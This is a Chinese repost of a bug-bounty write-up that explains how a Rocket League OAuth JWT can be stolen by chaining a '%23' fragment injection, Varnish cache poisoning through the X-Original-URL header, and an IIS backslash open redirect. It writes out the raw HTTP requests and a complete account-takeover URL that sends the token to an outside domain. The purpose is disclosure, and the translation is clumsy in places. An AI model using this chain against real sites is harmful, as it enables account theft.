《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

本文主要是介绍《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

《火箭联盟》是一款由美国独立游戏工作室Psyonix开发的网络游戏。该游戏一经推出即在海内外获得好评无数,玩家数屡创新高,截至目前全球玩家数超过3000万;

由于在过去的几年中,漏洞披露和漏洞赏金计划的使用已大大增加。现在,奇热这些计划几乎可以很容易地报告日常用户的安全漏洞,并快速发布关于安全报告处理的信息。

在《火箭联盟》上寻找到的漏洞

当黑客破解游戏时,他们总是首先关注的是游戏在网络层面的接口。其次,攻击者还要擅长逆向工程和调试应用程序,这些技能在黑客破解游戏时是很有价值的技能。但如果游戏不与网站对话,则黑客也将很难破解它们。

对于黑客来说,只要遵循以下任一教程,就可以通过在Wireshark中解密SSL流量,这样就很容易检查是否通过HTTP发送了任何内容:

1. SSL解密指南:如何使用Wireshark /解密SSL;

2. 使用Wireshark解密SSL / TLS流量;

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

在Wireshark中拦截HTTP流量的一个示例

根据我的经验,我更喜欢使用Wireshark拦截来自桌面应用程序的流量,因为使用Burp Suite和系统代理并不可靠。

遗憾的是,游戏没有通过HTTP或HTTPS发送任何数据,因此我决定切换路线,并尝试找到可以在线修改/查看有关用户游戏帐户信息的任何位置。

不过,在我浏览《火箭联盟》的网站时,并没有发现网站上提供有关是否存在在线帐户管理或类似功能的任何即时信息,因此我做了一些搜索,试图找到可以进入账户的方法。

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

没有登录/注册,没有排行榜,与实际游戏客户端之间没有提取或共享太多信息

功夫不负有心人,我终于找到一个适用于《火箭联盟》的可用API,不过需要特殊访问权限,用于管理Twitch奖励的“奖励”登录,以及用于连接游戏中帐户和Twitch帐户的Twitch登录。Twitch是一个面向视频游戏的实时流媒体视频平台,2011年6月由Justin Kan和Emmett Shear在旧金山联合创立,是Justin.tv旗下专注于游戏相关内容的独立运营站点。

我尝试攻击的第一件事是Twitch登录,因为他们正在使用的是OAuth,整个过程将非常有趣。

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

通过《火箭联盟》 Twitch登录,用户可以链接其Twitch和Steam帐户

以下HTTP请求/响应将在用户登录后请求用户身份验证令牌,并使用JWT将其转发到白名单的URL中……

请求:

GET /out?type=p&platform=twitch&return_to=https://www.rocketleague.com/&user_url=&error_url= HTTP/1.1
Host: oauth2.rocketleague.com
Cookie ...

响应:

Location: https://www.rocketleague.com/?jwt=header.payload.signature

随后,他们将使用返回的令牌通过其Steam和Twitch帐户对“www.rocketleague.com”进行身份验证。

于是我试了好几个小时,但没有任何结果。一些有趣的发现是,你可以使用任意的URI处理程序,但是随着Web浏览器的发展,除了重定向和呈现“javascript”和“数据”之外,因此,没有任何简单的技巧可以在令牌之外的任何现代浏览器中窃取令牌MITMing HTTP请求。

第二个发现是你可以提供“%23”,该名称将在路径末尾转换为“#”。就像我们有一个开放的重定向一样,这很有用,例如在www上,我们可以通过在攻击者网站上使用JavaScript解析“#?jwt =”值来窃取该值。如果我们尝试使用基于HTTP参数的开放重定向来窃取此文件,则该值将不会附加为“&jwt =”,并且无法访问它。比如以下格式……

GET /?openRedirect=https://www.attacker.com/&jwt=secret

在另一个主题上,白名单很难。一些最难破解的URL过滤器只是对字符串进行检查的过滤器,例如……

URI + "://" + domain + "/"

记住千万不要进行任何的URL转换,否则就会出现意想不到的后果。

进行HTTP缓存攻击

于是我改变了方法,并在与“www.rocketleague.com”会话时开始对真正的HTTP请求正文进行混淆。我这样做的原因是因为我已经探索了“www.rocketleague.com”上的大多数可用路径,并且确实想找到一种窃取用户令牌的方法。

如果能够找到类似打开重定向的内容,则可以简单地将用户重新转发到另一个URL,然后从该URL中提取其令牌。

通常,对于静态/基本应用程序,除了HTTP参数和请求文件之外,还有一些有趣的被忽略的功能。诸如X-Forwarded-For,HTTP请求走私标头以及经过修改/可猜测的cookie之类的内容可以提供很多有趣的交互。

当我意识到该应用程序容易受到HTTP缓存攻击的影响时,我已经花了一个小时的时间。

我最初发现此错误是因为我注意到每个HTTP响应都有以下标头……

Age: 55486
X-Cache: HIT, HIT
Via: 1.1 varnish

· 时间:HTTP请求被缓存的时间(以秒为单位);

· X-Cache:当响应“HIT”时,表示“由CDN提供服务”;

· Via:当它响应“*.* varnish” 时,我们可以看出它使用了Varnish代理。

Varnish是一个高性能的代理缓存服务器,它是一个反向代理服务器,同时也是开源软件。Varnish的稳定性很高,访问速度更快,Varnish采用了“Visual Page Cache”技术,所有缓存数据都直接从内存读取。另外,Varnish可以支持更多的并发连接,因为Varnish的TCP连接释比较快,因而在高并发连接情况下可以支持更多TCP连接。Varnish可以通过管理端口,使用正则表达式批量的清除部分缓存。Varnish是通过fork形式打开多进程来做处理,所以是合理的使用所有核来处理相应的请求。

当然,Varnish也是有缺点的:

1. varnish进程一旦Hang、Crash或者重启,缓存数据都会从内存中完全释放,此时所有请求都会发送到后端服务器,在高并发情况下,会给后端服务器造成很大压力。

2. 在varnish使用中如果单个url的请求通过HA/F5(负载均衡)每次请求不同的varnish服务器中,被请求varnish服务器都会被穿透到后端,而且同样的请求会在多台服务器上缓存,也会造成varnish的缓存的资源浪费,也会造成性能下降。

你可以使用“ X-Original-URL”标头任意定义任何路由的URL映射,这可以通过发送以下请求来验证……

请求:

GET /?uniqueParameter=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: /this-will-return-404

响应:

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
...

我们可以确定服务器标识了“ X-Original-URL”标头,因为我们知道(1)GET /通常将返回“ 200 OK”,并且(2)GET / this-will-return-404通常将返回“404 Not Found”。

通过在URL中定义“uniqueParameter”,我们可以安全地猜测内容将不会被缓存,因为没有人在分配的缓存时间内请求该资源。也可以提供一个唯一的路径,例如/uniquePath/,我们可以确定相同的事情。

现在,只要有人在缓存过期之前,在分配的时间范围内加载“GET /?uniqueParameter=1” ,它就会尝试加载“GET /this-will-return-404”。

此功能很简洁,但是与此相关的一些直接问题则很无聊。你可以通过将某些用户重定向到不存在的资源,破坏资源并进行其他一些普通的攻击来拒绝其访问该资源。

利用HTTP缓存攻击的有趣之处在于找到一个开放的重定向或某种方式让它为你的内容提供服务,如果应用程序正在“main.js”中加载,你可以重写该代码以将其加载到你的代码中吗?

利用HTTP缓存攻击

下面,我要尝试的第一件事就是让“X-Original-URL”成为一个值,当重定向到该值时,它将带用户使用外部资源。试图做以下的事情:

X-Original-URL: https://attacker.com/

如果无法正常工作,则是因为服务器(IIS)删除了主机部分,并试图加载相同站点的资源。现在除非我开放重定向,否则它很可能无法利用。开放我重定向后,我可以滥用开放重定向来窃取JWT。

由于我没有将其作为常规路径传递(在初始GET…字段中),所以可以使用通常无法使用的控制字符吗?如果是这样,有什么办法可以形成一个有效的外部URL?

我在该IIS实例中特别注意到的一些行为是,每当你连续提供两个正斜杠时,它将仅重定向到一个正斜杠。我不确定为什么会这样,或会造成什么特别的影响,但我猜它是为了防止打开重定向通过“GET //redirectmehere”和绕过“GET //admin”。

我尝试了以下方法:

X-Original-URL: test//test\

幸运的是,它返回了以下内容:

Location: test/test\

我们可以使用反斜杠,也可以使用正常字符开始URL,最后可以使用两个斜杠相邻来触发重定向。这些都可以组合在一起,以重定向到外部资源。我将所有内容组合在一起,并发送了以下内容……

请求:

GET /?pleaseWork=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: https:\\samcurry.net/please//work

响应:

Location: https:\\samcurry.net/please/work

如果你还不知道这一点,那么大多数浏览器都会接受“https:\\”作为位置重定向中URL的有效序言,资源 “?pleasework=1”现在将重定向到我的域。

总结

通过滥用所有单独的问题,我们现在可以完成以下操作:

1. 将受害者重定向到我们攻击的“www.rocketleague.com”URL,以“#jwt = theirSecret”结尾;

2. 使用我们的恶意URL将用户重定向到我们的域,从而转发“jwt=theirSecret”;

3. 在URL中使用JWT登录到他们的帐户,因为它还没有被使用。

如果一个用户在过去已经通过了《火箭联盟》的认证,他们只需加载以下URL就可以让他们的账户被盗:

https://oauth2.rocketleague.com/out?type=p&platform=twitch&return_to=https://www.rocketleague.com/?hacked=1%23&user_url=&error_url=

首先他们将被重定向到:

Location: https://www.rocketleague.com/?hacked=1#&jwt=secret

然后再次被重定向到:

Location: https:\\samcurry.net/*
* the browser would append #jwt=secret since it's a client side, JavaScript accessible value

现在我可以通过使用被盗的JWT加载以下常规功能来访问用户帐户:

https://www.rocketleague.com/tpnemesis/auth-login?jwt=secret

以上说的一些概念可以应用于常见的OAuth和缓存攻击,本文所讲的只是一个可以将所有内容组合在一起的独特实例,但是独立地利用每个阈值对于针对特定资源的不同攻击是有好处的。

这篇关于《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779009

相关文章

MyBatis延迟加载与多级缓存全解析

《MyBatis延迟加载与多级缓存全解析》文章介绍MyBatis的延迟加载与多级缓存机制,延迟加载按需加载关联数据提升性能,一级缓存会话级默认开启,二级缓存工厂级支持跨会话共享,增删改操作会清空对应缓... 目录MyBATis延迟加载策略一对多示例一对多示例MyBatis框架的缓存一级缓存二级缓存MyBat

前端缓存策略的自解方案全解析

《前端缓存策略的自解方案全解析》缓存从来都是前端的一个痛点,很多前端搞不清楚缓存到底是何物,:本文主要介绍前端缓存的自解方案,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录一、为什么“清缓存”成了技术圈的梗二、先给缓存“把个脉”:浏览器到底缓存了谁?三、设计思路:把“发版”做成“自愈”四、代码

利用Python把路径转为绝对路径的方法

《利用Python把路径转为绝对路径的方法》在Python中,如果你有一个相对路径并且想将其转换为绝对路径,你可以使用Path对象的resolve()方法,Path是Python标准库pathlib中... 目录1. os.path.abspath 是什么?怎么用?基本用法2. os.path.abspat

Python异常处理之避免try-except滥用的3个核心原则

《Python异常处理之避免try-except滥用的3个核心原则》在Python开发中,异常处理是保证程序健壮性的关键机制,本文结合真实案例与Python核心机制,提炼出避免异常滥用的三大原则,有需... 目录一、精准打击:只捕获可预见的异常类型1.1 通用异常捕获的陷阱1.2 精准捕获的实践方案1.3

Java 缓存框架 Caffeine 应用场景解析

《Java缓存框架Caffeine应用场景解析》文章介绍Caffeine作为高性能Java本地缓存框架,基于W-TinyLFU算法,支持异步加载、灵活过期策略、内存安全机制及统计监控,重点解析其... 目录一、Caffeine 简介1. 框架概述1.1 Caffeine的核心优势二、Caffeine 基础2

Redis高性能Key-Value存储与缓存利器常见解决方案

《Redis高性能Key-Value存储与缓存利器常见解决方案》Redis是高性能内存Key-Value存储系统,支持丰富数据类型与持久化方案(RDB/AOF),本文给大家介绍Redis高性能Key-... 目录Redis:高性能Key-Value存储与缓存利器什么是Redis?为什么选择Redis?Red

React 记忆缓存的三种方法实现

《React记忆缓存的三种方法实现》本文主要介绍了React记忆缓存的三种方法实现,包含React.memo、useMemo、useCallback,用于避免不必要的组件重渲染和计算,感兴趣的可以... 目录1. React.memo2. useMemo3. useCallback使用场景与注意事项在 Re

Docker多阶段镜像构建与缓存利用性能优化实践指南

《Docker多阶段镜像构建与缓存利用性能优化实践指南》这篇文章将从原理层面深入解析Docker多阶段构建与缓存机制,结合实际项目示例,说明如何有效利用构建缓存,组织镜像层次,最大化提升构建速度并减少... 目录一、技术背景与应用场景二、核心原理深入分析三、关键 dockerfile 解读3.1 Docke

Nginx部署HTTP/3的实现步骤

《Nginx部署HTTP/3的实现步骤》本文介绍了在Nginx中部署HTTP/3的详细步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录前提条件第一步:安装必要的依赖库第二步:获取并构建 BoringSSL第三步:获取 Nginx

python获取指定名字的程序的文件路径的两种方法

《python获取指定名字的程序的文件路径的两种方法》本文主要介绍了python获取指定名字的程序的文件路径的两种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要... 最近在做项目,需要用到给定一个程序名字就可以自动获取到这个程序在Windows系统下的绝对路径,以下